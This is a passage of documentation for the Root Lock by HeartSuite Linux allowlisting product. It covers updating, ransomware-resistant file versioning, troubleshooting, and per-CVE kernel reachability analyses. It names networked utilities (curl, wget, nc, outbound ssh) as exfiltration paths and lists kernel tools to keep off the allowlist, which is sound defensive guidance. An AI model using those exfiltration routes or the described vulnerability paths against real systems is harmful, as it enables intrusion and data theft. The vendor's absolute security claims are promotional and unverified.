• Disengage Lockdown if it is active. Lockdown uses chattr +i filesystem immutability on HeartSuite configuration files; the installer cannot replace them while Lockdown is engaged. From the Dashboard, open Maintenance ([m]) and follow the guided path to disengage. (Any grant narrowing done via per-panel actions/opt-outs during original activation will need re-review after update.)
• Verify the bundle. Compare the SHA-256 of heartsuite-install.sh against the published checksum before running it.

Update procedure

1. Place heartsuite-install.sh and heartsuite-install.sh.sha256 on the system, typically by scp into /root/.

2. Verify integrity:

   sha256sum -c heartsuite-install.sh.sha256
   

   Expected output: heartsuite-install.sh: OK

3. Reboot and select the maintenance kernel at the GRUB menu.

4. Log in as root over SSH or the serial console.

5. Run the installer:

   bash heartsuite-install.sh
   

6. The installer applies the update and reboots automatically into the new Root Lock by HeartSuite kernel.

7. If new programs are encountered, Root Lock by HeartSuite reads the startup logs, adds the programs it finds to the allowlist, and reboots as needed (Phase 1). The Dashboard appears when this is complete.

8. Re-engage Lockdown from the Dashboard if it was active before the update.

If the update fails

If the new Root Lock by HeartSuite kernel does not boot, select the previous kernel from the GRUB menu. Physical or serial-console access is required for this step. Both the previous Root Lock by HeartSuite kernel and the maintenance kernel remain available as recovery entries. Contact HeartSuite support and include the contents of /var/log/heartsuite/install.log in your message — we’re happy to help you recover.

11.5 - File Backup and Versioning

Overview: Allowlisting controls what programs can run, but an approved program that malware takes over can still write files — ransomware running inside an approved process can encrypt whatever that process can reach. Modern ransomware targets backup systems first — shadow copies and backup agents are typically deleted before files are encrypted. Root Lock by HeartSuite automatically creates a versioned backup every time a file in a protected directory is written, and under Lockdown the kernel itself prevents any program from reaching those backups. No other program, including malware running as root, can read or destroy them. Versions are never automatically deleted.

Automatic versioning

Root Lock by HeartSuite monitors a list of protected directories. When any file in those directories (including subdirectories) is written, Root Lock by HeartSuite silently creates a new versioned backup before the write completes. This runs automatically in both Setup Mode and Lockdown — protection begins from first boot, before you have reviewed a single item.

Enterprise backup tools back up on a schedule — hourly, nightly, weekly. An attack that completes between backup windows has nothing to recover from. Root Lock by HeartSuite backs up on every write. There is no window. Other security products that offer rollback on Linux — including endpoint products with a rollback feature — rely on volume shadow copies or scheduled snapshots. The same gap exists: an attack that completes between snapshot intervals has nothing to recover from.

CVE-2024-40711 — Veeam Backup & Replication, unauthenticated RCE — shows the sharper problem: the backup product itself is the target. An attacker who reaches a Veeam host can execute code without authentication, destroy backups, then encrypt production files. Root Lock by HeartSuite’s backups have no running agent to exploit — under Lockdown, the kernel itself prevents any program from reaching them.

By default, /home is configured for backup. You can add or remove directories from the Dashboard’s Backup.

Configuring protected directories

From the Dashboard, select Backup ([b]). The Dashboard shows your current backup configuration — which directories are protected and when they were last backed up.

From here you can:

• Add directories ([n]) — protect additional directories (e.g., /var/www, /etc, /usr/lib)
• Remove directories ([r]) — stop backing up a directory (removing a directory does not delete existing backups; existing versions are retained)

Recommended directories include those containing user documents, executable files, configuration, and shared libraries. Avoid high-churn directories like log directories — backup creates a new version on every write.

Restoring file versions

If a file is compromised — for example, encrypted by ransomware — the Dashboard’s Backup lets you browse version history and restore any previous version of any file in a protected directory. The Backup offers two browse modes:

• File-first ([f]) — navigate by directory and file, then view versions of the selected file
• Timeline ([t]) — navigate by date, showing all files modified on a given day

To restore a single file, select it and choose the version to restore. Each version shows its timestamp and file size.

For ransomware recovery where many files were modified on the same date, use the Timeline view ([t]), press [d] to filter by date, review the affected files, and press [b] to batch restore all of them in one operation.

Lockdown and backup

When Lockdown is active, the backup configuration file is sealed — no user or program, including root, can add or remove directories. This prevents an attacker who compromises a running process from silently disabling backup. To change the backup configuration, enter a maintenance period first (see Protecting During Maintenance).

Backup encryption

Root Lock by HeartSuite backup files are versioned filesystem copies. They are not encrypted at the HeartSuite layer. If your environment requires data-at-rest encryption — for example, to meet GDPR, HIPAA, or PCI DSS requirements — configure full-disk encryption (dm-crypt/LUKS) at the OS level. LUKS encryption covers the backup files automatically, since they reside on the same filesystem as the rest of the host.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, the following CLI tools are available:

# hs-backup-config-manager add /var/www
# hs-backup-config-manager remove /home
# hs-backup-config-manager list
# hs-version-manager list /home/user/document.txt
# hs-version-manager restore /home/user/document.txt --version 2023-11-01

The Dashboard is the supported path for normal use.

12 - Troubleshooting and Logs

Overview: When something stops working on a locked-down system, the cause is usually one of three things: a missing allowlist entry, the system being in a different mode or on a different kernel than expected (Setup vs Lockdown, immutable seal active, or the maintenance kernel), or a kernel issue. The Dashboard tells you which one — the indicator at the top shows the current protection state, and the Suggested Next Step tells you what to do. The kernel log is available for advanced diagnostics when needed.

Where to start

The Dashboard is the primary diagnostic tool. Before checking log files, review:

• Protection state (indicator at the top): Confirms the current protection level. If it shows “SETUP MODE”, “LOCKDOWN — immutable seal not applied”, or “maintenance kernel”, you immediately know what protection level is active. No indicator means Lockdown with immutable seal — full protection.
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode with uptime, and lockdown status.
• Pending/Denied counts: In Setup Mode, these are pending items awaiting approval. In Lockdown, these are denied actions that may need allowlisting.
• Suggested Next Step: Provides a single, actionable recommendation based on the current system state.

Log management

Root Lock by HeartSuite captures all activity and presents it through the Dashboard’s three review queues: Programs ([p]), File Access ([f]), and Internet Access ([i]). The Dashboard shows pending counts for each queue and groups items by category, so you always know what needs attention. The Maintenance ([m]) provides guided workflows for common maintenance tasks.

The review queues are how you see and resolve what needs attention. The underlying activity log is a temporary buffer — once all three review queues are empty, the Dashboard automatically clears the log on its next refresh. No manual action is required.

For compliance, SIEM integration, or long-term retention, Root Lock by HeartSuite also emits a per-decision enforcement stream and a separate alert stream over RFC 5424 syslog (plus a persistent JSONL approval log). See the dedicated SIEM and Fleet Integration page for configuration examples. Formal compliance evidence is covered in the SOC 2 and compliance reference documents.

Allow several days to a week of observation in Setup Mode. Systemd timers, cron jobs, and infrequent services appear in the review queues only when they run — the review queues accumulate these automatically.

Kernel log

The Dashboard’s review queues automatically collect entries from both the Root Lock by HeartSuite activity log and the kernel log. During normal operation, you do not need to read dmesg directly.

The kernel log is useful for advanced troubleshooting in three situations: a program fails but the Dashboard shows zero pending or denied items for it; the Root Lock by HeartSuite activity log has been cleared or rotated; or you need to correlate Root Lock by HeartSuite entries with other kernel messages:

dmesg | grep HEARTSUITE

The Dashboard presents the same information with metadata enrichment and grouping. The Dashboard is accessible on both the Root Lock by HeartSuite kernel and the maintenance kernel — on the maintenance kernel, the indicator at the top shows “maintenance kernel — Root Lock not active” and blocking is inactive.

Reporting issues

If you encounter a product bug, email support@heartsecsuite.com with your Root Lock by HeartSuite version, kernel version (uname -r), the protection state shown at the top of your Dashboard, and steps to reproduce. For documentation issues, use heartsuite-docs issues. For security vulnerabilities, email support@heartsecsuite.com — do not use public issue trackers.

13 - FAQs

General

Installation

Allowlisting

Modes and security

Troubleshooting

For support email support@heartsecsuite.com.

14 - Kernel Security Transparency

Every kernel CVE relevant to Root Lock by HeartSuite — what it can do, what it cannot, and why.

The Score on HeartSuite column shows the CVSS v3.1 Environmental Score for a Root Lock by HeartSuite deployment — the actual risk on your system, not the theoretical worst case. Where the attack surface is absent — hardware not present, trigger not installed — the Score on HeartSuite is 0.0 regardless of Base Score. Where the code path is reachable, MI is reduced from High to Low: Lockdown’s allowlist refuses new code execution and blocks allowlist modification. Scores are computed using CR=M, IR=M, AR=M with no Temporal adjustments.

CVE Status

Understanding CVE Scores in HeartSuite

CVEs are rated by severity (e.g., HIGH means a score of 7+). A “0.0” score here means HeartSuite fully neutralizes the vulnerability—it’s not reachable. A “non-zero” score means the flaw can still be exploited in HS, but its impact is limited, often to temporary effects that a reboot clears. This helps you see real risks clearly.

What malware can and cannot do on this system

Across every reachable CVE in this document, the answer is the same — and short.

Blocked

• Persistence across reboot. No service, cron job, init script running new code, or kernel module added by the attacker survives a reboot. The allowlist is populated only at boot from your authorized sources; any in-memory tampering is wiped on the next boot.

Supply-chain compromise: contained, not prevented.
If malware arrives inside a trusted update, HeartSuite does not block it from running — it was authorized. What HeartSuite does enforce is the blast radius. The malware cannot launch processes outside the allowlist, cannot reach unallowlisted network destinations, and cannot install additional code. A compromised supplier gets one program slot, not the system.

• New program execution. The kernel refuses to run any program not in the Lockdown allowlist, regardless of root privilege. Backdoors, custom exploit tools, droppers, and post-exploitation frameworks cannot run.
• Kernel module loading post-boot. On Debian 12, modprobe and insmod are symlinks to kmod, which is added to the allowlist during standard Setup Mode via systemd-modules-load.service. Lockdown’s file-access enforcement denies kmod access to /usr/lib/modprobe.d/ by default — module loading fails at the file-read stage before any module can be loaded. Module-based rootkits cannot be installed.
• Allowlist modification at runtime. The runtime allowlist lives in kernel memory and is not modifiable post-boot. The on-disk allowlist file is chattr +i immutable; Lockdown blocks FS_IOC_SETFLAGS so root cannot strip the immutable flag.
• Mounting new filesystems. Lockdown blocks mount(), fsmount(), and move_mount() after boot. Bind-mounts and remounts to shadow allowlisted paths are refused.

Bounded by allowlist composition

• Data exfiltration. Reading data is not constrained — root with kernel-context primitives can read any file. Sending data off-host is bounded by which networked utilities are in your allowlist. Deployments with no outbound networking utilities allowlisted have no in-band exfiltration path.
• Service disruption. Root can panic the kernel via syscall primitives or kill -9 allowlisted services. Availability hardening is a separate control; HS does not prevent denial-of-service.
• Lateral movement. Attackers can pivot through whatever the allowlisted process tree permits, but cannot extend that tree. New processes outside the allowlist do not run.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running.

Out of scope

• Sensitive-data disclosure during the live session. A root attacker can read disk content while the session is active. Confidentiality during the breach is the role of disk encryption, not Lockdown.
• Hardware-level and pre-boot threats. Firmware compromise, baseboard management exploits, and physical attacks on the boot chain are outside the HS attack surface.
• Misconfigured allowlists. If you allowlist tools you should not — modprobe, bpftool, networked exfiltration utilities — outcomes move from “Blocked” to “Bounded” and from “Bounded” to “Allowed.” See the deployment-tuning note.

The reason the answer is the same for every reachable CVE in this document is that HeartSuite’s enforcement is structural, not state-based. Most kernel hardening products gate enforcement on a state variable that an attacker with arbitrary kernel write can clear in a single instruction. Lockdown’s allowlist is consulted on every execve regardless of any state variable. There is no kill-switch.

Over 1,000 CVEs across 178 disabled-feature groups are listed in Not Affected — Disabled Features below.

How to read the backstop sections

Root Lock by HeartSuite runs two independent kernel-level controls, and the entries below reference both. They are not peers in a list — one is load-bearing, one is defense-in-depth, and the distinction matters when reading residual risk:

• Lockdown (load-bearing). hs_sandbox_caching.c enforces the SPF allowlist on every execve. This check runs unconditionally — it is not gated by HS_lockdown_state — so it continues to refuse non-allowlisted programs even if an attacker with arbitrary kernel write clears Lockdown. The only Lockdown-conditional behavior in this file is an additional log-file write block; the allowlist match itself is independent.
• Lockdown (defense-in-depth). sys_hs_lockdown_hs() sets HS_lockdown_state = 7. While that atomic is nonzero, kernel/ioctl.c:561,568 returns EPERM on FS_IOC_GETFLAGS/FS_IOC_SETFLAGS (closing the chattr -i path that would otherwise let root strip immutability from the allowlist file), and kernel/namespace.c:4218,4300,4453 returns EPERM on all mount paths. There are five HS_locked_down() check sites total in the kernel — none in fs/ or net/ — so Lockdown is an API-gate layer, not an in-line corruption boundary.

The load-bearing control against persistence and lateral expansion is Lockdown’s allowlist. Even in the worst case where an attacker chains a kernel UAF into arbitrary write and clears HS_lockdown_state, they still cannot run new programs, modify the allowlist, install backdoors, or survive a reboot, because the allowlist check is not on the same state machine. They regain only the ability to mount filesystems and set immutable flags — meaningful but bounded.

Per-CVE entries below name the bug, then state which of these two layers limits its post-exploitation impact and how. The standard backstop paragraph is intentionally short: it points back here rather than re-litigating the architecture in every entry.

Why this is unusual

Most kernel hardening products gate enforcement on a single state variable that an attacker with arbitrary kernel write can clear in one instruction. Root Lock by HeartSuite does not work that way. Lockdown’s allowlist is consulted on every execve regardless of Lockdown’s state — there is no kill-switch an attacker can flip. Even in the worst case examined anywhere in this document, the system continues to refuse new code execution. That is the property that makes the per-CVE backstops below short, calm, and identical: the answer is the same for every CVE, because the answer is structural.

Note on Scores on HeartSuite and deployment tuning

The Scores on HeartSuite published in this document assume a worst-case allowlist composition — i.e., that your Lockdown allowlist contains common utilities including networked tools (curl, wget, ssh outbound, nc, python with sockets, etc.). Under that assumption, an attacker who reaches root via one of the Affected CVEs retains a confidentiality impact of HIGH (MC:H) because they can read sensitive data and pipe it out via an already-allowlisted networked utility. This is the conservative, deployment-agnostic floor.

If you run a tighter allowlist, you may legitimately credit a lower MC. Specifically:

• Allowlist contains zero outbound-networking utilities (no curl, wget, outbound ssh, nc, scripting languages with socket access, etc.): MC:L becomes defensible — the attacker can read on disk but has no in-band exfiltration path within Lockdown’s allowlist. Out-of-band (physical-console, side-channel) exfiltration remains possible; that’s why the credit is L, not N.
• Allowlist contains zero process-mutation utilities (no kill, pkill, init-system control surfaces beyond what HS itself uses): MA:L becomes defensible for the disruption-via-userspace component, though kernel-level availability impact (panics, OOM via syscalls) is independent of allowlist composition and keeps MA:H for any CVE that grants kernel-context primitives.

These are deployment-specific reductions and are not baked into the published Scores on HeartSuite in this document. If you have hardened your allowlist accordingly, you can recompute your deployment-specific score by adjusting MC and/or MA in the modified vector. The published scores are correct for any deployment that has not affirmatively confirmed the tighter conditions above.

Note on Not-exploitable entries that depend on allowlist composition

Several Not-exploitable entries below justify their 0.0 Score on HeartSuite with phrasing of the form “X not in allowlist.” These claims are accurate for any HeartSuite deployment built through the standard Setup Mode workflow, where the allowlist is populated from production service activity. Utilities not invoked during that workflow would not be added to the allowlist. Specifically, the following utilities should not be allowlisted on a production Root Lock by HeartSuite deployment:

• modprobe, insmod / kmod — kernel module loading. On Debian 12, these resolve to kmod, which standard Setup Mode does allowlist; the protection is Lockdown’s file-access enforcement denying kmod access to /usr/lib/modprobe.d/. Granting kmod that access reverts CVE-2024-36883 (and any other module-loading-dependent CVE) to Affected.
• tc (iproute2 traffic control) — qdisc/filter manipulation. Allowlisting reverts CVE-2025-37914 / 37915 / 37923 / 22121 and other NET_SCHED CVEs to Affected.
• bpftool, trace-cmd, perf, debugfs/tracefs writers — kernel instrumentation. Allowlisting reverts the kprobe / tracing / perf CVE cluster (CVE-2024-38588 etc.) to Affected.
• dmsetup, raw block-device tools, cryptsetup mappings created post-boot — block-layer mutation. Same shape.
• ip xfrm, setkey, strongSwan, libreswan, or any IKE daemon — XFRM management. Allowlisting any of these enables XFRM security association setup, making esp_output reachable and reverting CVE-2026-43284 to Affected 8.8 HIGH.
• e4defrag or any extent-defragmentation tool — ext4 online defragmentation. Allowlisting reverts CVE-2024-26704 to Affected 7.8 HIGH.

If you run a development, debug, or instrumentation-heavy deployment and legitimately need any of the above, treat the corresponding Not-exploitable entries in this document as Affected for your environment, and apply the standard Affected backstop logic (Lockdown’s allowlist still refuses unknown programs, but the now-allowlisted utility is itself the trigger). The “Not exploitable” classifications below are correct for Root Lock by HeartSuite deployments; they are not universal.

CVE-2026-31431

Status: Not Affected
Component: algif_aead — the in-kernel AEAD interface exposed by the AF_ALG socket family (CONFIG_CRYPTO_USER_API_AEAD)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — CNA (kernel.org); NVD assessment pending
Upstream fix: Linux 6.12.85 (LTS), 6.18.22 (LTS), 6.19.12 (LTS)

This CVE describes a privilege escalation through the AF_ALG socket interface. An attacker who can open an AF_ALG socket reaches algif_aead_copy_sgl(), exploits a copy-on-write failure in the scatter-gather list handling, and gains root.

CONFIG_CRYPTO_USER_API_AEAD is not compiled into the Root Lock by HeartSuite kernel. The AF_ALG socket family is not available. An attempt to open an AF_ALG socket returns EAFNOSUPPORT — there is no algif_aead code present in the running kernel and therefore no reachable code path. The Root Lock by HeartSuite kernel predates the upstream fix versions listed above, but the fix is not required: the fix removes a vulnerability in code that was never compiled in.

Lockdown closes the remaining question. Even if the code path were present, Lockdown — chattr +i filesystem immutability combined with the Root Lock by HeartSuite kernel refusing runtime changes to the allowlist — removes every useful action root can take after gaining privilege. The kernel refuses to clear immutable flags. Mount operations are blocked in Lockdown. Writes to the audit log are blocked. Root cannot modify the allowlist, add a backdoor, or persist across a reboot.

See Deployment Scenarios → Production Servers for the architectural context of how Lockdown interacts with a privilege escalation reaching root.

CVE-2026-43284

Status: Not exploitable
Component: XFRM framework and IPv6 ESP (CONFIG_XFRM, CONFIG_INET6_ESP)
Base Score: 8.8 HIGH — NVD full vector assessment pending
Score on HeartSuite: 0.0 — esp_output is unreachable; no XFRM security association can be established on a default Root Lock by HeartSuite deployment
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a write-what-where condition in the esp_output page-write path. The vulnerable code is at net/ipv6/esp6.c:524: tail = page_address(page) + pfrag->offset followed by esp_output_fill_trailer(tail, esp->tfclen, esp->plen, esp->proto). If pfrag->offset is corrupted or attacker-influenced, the trailer write reaches an arbitrary kernel page address. The identical pattern exists in net/ipv4/esp4.c:489 (CONFIG_INET_ESP, not compiled), but the absence of IPv4 ESP is irrelevant — esp6.c carries the same code. The bug is one half of the “Dirty Frag” exploit chain; chaining it with CVE-2026-43500 produces a deterministic privilege escalation.

CONFIG_INET6_ESP=y is compiled in and esp6.c:524 is present in the running kernel. The esp_output function is called only when the kernel encrypts an outgoing packet that matches a configured XFRM security association. With no security association configured, esp_output is never reached — by any user, at any privilege level. Configuring a XFRM security association requires XFRM management tooling: ip xfrm (iproute2), setkey, strongSwan, libreswan, or an equivalent IKE daemon. None of these are in the Root Lock by HeartSuite default allowlist. Under Lockdown, the allowlist is chattr +i immutable and FS_IOC_SETFLAGS returns EPERM for all callers — root cannot add management tools and therefore cannot establish a security association. The esp_output page-write path is unreachable for the lifetime of the boot.

The Dirty Frag chain has no second link on this system regardless: CONFIG_AF_RXRPC is not compiled (see CVE-2026-43500).

The trigger cannot be reached on any default Root Lock by HeartSuite deployment.

If your deployment adds XFRM management tooling (ip xfrm, setkey, strongSwan, libreswan, or an equivalent IKE daemon) to the HS allowlist, a security association can be established and esp_output becomes reachable. In that configuration this CVE applies at its base score of 8.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2026-43500

Status: Not Affected
Component: rxrpc — RxRPC transport protocol (CONFIG_AF_RXRPC)
Base Score: 7.8 HIGH — NVD full vector assessment pending
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a local privilege escalation through an out-of-bounds write in the rxrpc transport protocol implementation. It is the second half of the “Dirty Frag” exploit chain (paired with CVE-2026-43284); chaining both produces a deterministic privilege escalation to root.

CONFIG_AF_RXRPC is not compiled into the Root Lock by HeartSuite kernel. The rxrpc address family is not available; an attempt to open an AF_RXRPC socket returns EAFNOSUPPORT. The vulnerable code in net/rxrpc/ is entirely absent from the running kernel. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: there is no reachable code path for this bug on any Root Lock by HeartSuite deployment. The Dirty Frag chain has no second link on this system.

The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-47685

Status: Score on HeartSuite 0.0 — trigger not present in default configuration Component: nf_reject_ipv6 — IPv6 netfilter TCP RST generation (CONFIG_NF_REJECT_IPV6, CONFIG_IP6_NF_TARGET_REJECT)
Base Score: 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)
Score on HeartSuite: 0.0 — trigger not present; HeartSuite installs no ip6tables REJECT rules
Upstream fix: Linux 4.19.323, 5.4.285, 5.10.227, 5.15.168, 6.1.113, 6.6.54, 6.10.13, 6.11.2 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an information disclosure in the IPv6 netfilter TCP reset path. When the kernel sends a TCP RST packet in response to a connection rejected by an ip6tables rule, nf_reject_ip6_tcphdr_put() allocates a TCP header via skb_put() without zeroing the buffer. The function then writes every field in the header explicitly except the four reserved bits (th->res1) in byte 12. Those bits retain whatever value was in the allocated kernel memory region. The RST packet is sent with that uninitialized content on the wire.

CONFIG_NF_REJECT_IPV6=y and CONFIG_IP6_NF_TARGET_REJECT=y are compiled in. The code path exists in this kernel. The vulnerable function has five callers across the kernel source. In this configuration only ip6t_REJECT.c is compiled — the remaining four callers (nft_reject_ipv6, nft_reject_inet, nft_reject_bridge, nft_reject_netdev) are all gated by CONFIG_NF_TABLES, which is built as module (m) and not loaded at boot. Reaching the vulnerable code therefore requires an active ip6tables rule using REJECT --reject-with tcp-reset on IPv6 traffic. The Root Lock by HeartSuite install scripts and service unit contain no ip6tables rules of any kind. If you manually add such a rule, this path becomes exposed.

Lockdown does not patch the vulnerability mechanism — the kernel still places uninitialized bits into the packet header if the path is reached. However, the program allowlist and Lockdown together make the triggering condition unreachable in practice.

To trigger this CVE, you must first add an ip6tables rule with REJECT --reject-with tcp-reset. That requires running ip6tables with root privilege. In Lockdown, HeartSuite’s program allowlist is enforced at the kernel level for every user including root: a program without a valid allowlist entry cannot execute regardless of the caller’s privilege level. Network management utilities such as ip6tables have no allowlist entry on a production HeartSuite deployment, so root cannot run them and the rule cannot be added.

Lockdown closes the remaining path. Even if an attacker gained root and attempted to add ip6tables to the allowlist first, Lockdown blocks every mechanism for doing so: FS_IOC_SETFLAGS (the ioctl used by chattr) returns EPERM for all callers during lockdown, so immutable flags cannot be cleared from the allowlist database files; mount(), fsmount(), and move_mount() all return EPERM, blocking any bind-mount or remount workaround; and the HeartSuite reactivation path is disabled, preventing the service from being reconfigured to accept new entries.

The result is a two-layer guarantee: the program allowlist prevents the trigger from being established, and Lockdown ensures the allowlist cannot be modified to enable the tools that would establish it. A 9.1 CRITICAL CVE that requires setting up an ip6tables REJECT rule becomes unreachable by any user, including root, once Lockdown is in force.

CVE-2022-41674, CVE-2022-42719, CVE-2022-42720

Status: Not exploitable Component: mac80211 — 802.11 wireless stack (CONFIG_MAC80211)
Base Scores: CVE-2022-42719: 8.8 HIGH (AV:A); CVE-2022-41674: 8.1 HIGH (AV:A); CVE-2022-42720: 7.8 HIGH (AV:A)
Score on HeartSuite: 0.0 — no WiFi hardware present; attack vector (frame injection via wireless NIC) has no path to execution
Affected range: Linux 5.19.x before 5.19.16
Upstream fix: Linux 5.4.218–219, 5.10.148–149, 5.15.74, 5.19.16, 6.0.2

These three CVEs cover memory corruption in the mac80211 multi-BSSID scanning path, exploitable by an attacker who can inject 802.11 management frames:

• CVE-2022-41674 (CVSS 8.1) — buffer overflow in ieee80211_bss_info_update() in net/mac80211/scan.c triggered by a crafted beacon or probe response with a malformed multi-BSSID element
• CVE-2022-42719 (CVSS 8.8) — use-after-free when parsing a multi-BSSID element, exploitable to crash the kernel or gain privilege
• CVE-2022-42720 (CVSS 7.8) — refcounting bugs in multi-BSS handling reachable through the same scanning path

CONFIG_MAC80211=y is compiled in and 5.19.6 is within the affected version range for all three. The entry point is ieee80211_scan_rx() in net/mac80211/rx.c, which has a single caller: the hardware NIC interrupt RX path. A physical WiFi NIC must be present, registered, and receiving frames for any of these paths to execute. CONFIG_MAC80211_HWSIM (software WiFi simulator) is not set. On server deployments without a WiFi interface the code paths are unreachable.

If exploited on a deployment with WiFi hardware, all three CVEs lead to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

HeartSuite makes the allowlist database files immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-0266

Status: Not exploitable Component: ALSA PCM — in-kernel sound subsystem (CONFIG_SND)
Base Score: 7.9 HIGH (AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no audio hardware present; no /dev/snd devices; ioctl path unreachable
Affected range: Linux 5.16 through 6.1.5
Upstream fix: Linux 4.14.303, 4.19.270, 5.4.229, 5.10.163, 5.15.88, 6.1.6 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free in the ALSA PCM control interface. SNDRV_CTL_IOCTL_ELEM_READ and SNDRV_CTL_IOCTL_ELEM_WRITE (32-bit compat variants) are missing locks that allow a local user to trigger a use-after-free and gain elevated privilege.

CONFIG_SND=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable code requires an ALSA-accessible sound device. Server deployments without audio hardware have no /dev/snd devices and no reachable path to this ioctl.

If exploited on a deployment with audio hardware, the CVE achieves local privilege escalation to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2022-4139

Status: Not exploitable Component: i915 GPU driver (CONFIG_DRM_I915)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no i915 GPU present; GPU context entry point unreachable
Affected range: Linux 5.16 through 6.0.10
Upstream fix: Linux 5.4.226, 5.10.157, 5.15.81, 6.0.11 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an incorrect TLB flush in the Intel i915 GPU driver. When GPU memory mappings are changed, a missing or incorrect TLB invalidation can leave stale translation entries active, allowing writes to land in the wrong physical pages. This can corrupt kernel memory and is exploitable by a local user with access to a GPU context to gain elevated privilege.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable path requires an Intel i915 GPU to be present and accessible. Deployments without i915 hardware have no reachable path to this driver.

The vulnerable path never opens. The bug exists in the source — not on this system.

CVE-2023-2236, CVE-2022-3910

Status: Affected
Component: io_uring — asynchronous I/O subsystem (CONFIG_IO_URING)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 7.1–7.3 HIGH — Lockdown reduces MI: High→Low (no allowlist modification, no persistence, no backdoors); C and A remain High; score stays within the HIGH band
Affected ranges: CVE-2023-2236: 5.19 through 6.0.10; CVE-2022-3910: 5.18 through 5.19.10
Upstream fix: CVE-2023-2236: 6.0.11; CVE-2022-3910: 5.19.11 (5.19 branch is EOL for CVE-2023-2236; CVE-2022-3910 fix was in-branch but 5.19.6 predates it)

What this means for an attacker:

Both CVEs describe use-after-free conditions in io_uring’s fixed file management, exploitable by a local user to gain root:

• CVE-2023-2236 — double fput() in the io_install_fixed_file() path. When an async open operation installs a fixed file and encounters an error, io_install_fixed_file() calls fput(file) at its error label; the caller then calls fput(file) a second time. The file’s reference count reaches zero while the object is still referenced, producing a use-after-free.
• CVE-2022-3910 — improper reference count update in io_uring’s fixed file handling that leads to a use-after-free and local privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in. The io_uring_setup syscall has no capability gate — any local user can create an io_uring ring and reach both vulnerable paths. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

These constraints are why the Score on HeartSuite reflects a reduced MI (High→Low): root cannot modify the allowlist, cannot install persistent backdoors, and cannot survive a reboot. Confidentiality and Availability impacts remain High, reflecting that an attacker with a live root session can still read data and disrupt services within the bounds of already-permitted processes.

A more sophisticated exploit could use the kernel use-after-free to directly corrupt kernel data structures before surfacing in userspace. In that scenario Lockdown’s API-level restrictions are not the binding constraint — the corruption happens below the layer where those checks operate. This is why the Score on HeartSuite does not reach 0.0: the io_uring path is reachable by any local user, and pre-userspace kernel corruption is outside the scope of what Lockdown addresses.

CVE-2024-0775

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 6.7 MEDIUM (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount(MS_REMOUNT) blocked by Lockdown; ext4 remount entry point unreachable Affected range: kernels through 6.7.2, 6.6.15, 6.1.79, 5.15.148, 5.10.211, 5.4.270, 4.19.308 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.3, 6.6.16, 6.1.80, 5.15.149, 5.10.212, 5.4.271, 4.19.309

This CVE describes a use-after-free in the __ext4_remount() error path in fs/ext4/super.c. When a remount operation fails and rolls back to saved options, the function restores quota file name pointers via rcu_assign_pointer(sbi->s_qf_names[i], old_opts.s_qf_names[i]) and then frees the displaced current pointer via kfree(to_free[i]). If the success path has already freed those names at the earlier kfree(old_opts.s_qf_names[i]) call, the error path operates on already-freed memory. The CVE requires CAP_SYS_ADMIN (implicit in PR:H) because mount(MS_REMOUNT) is a privileged operation.

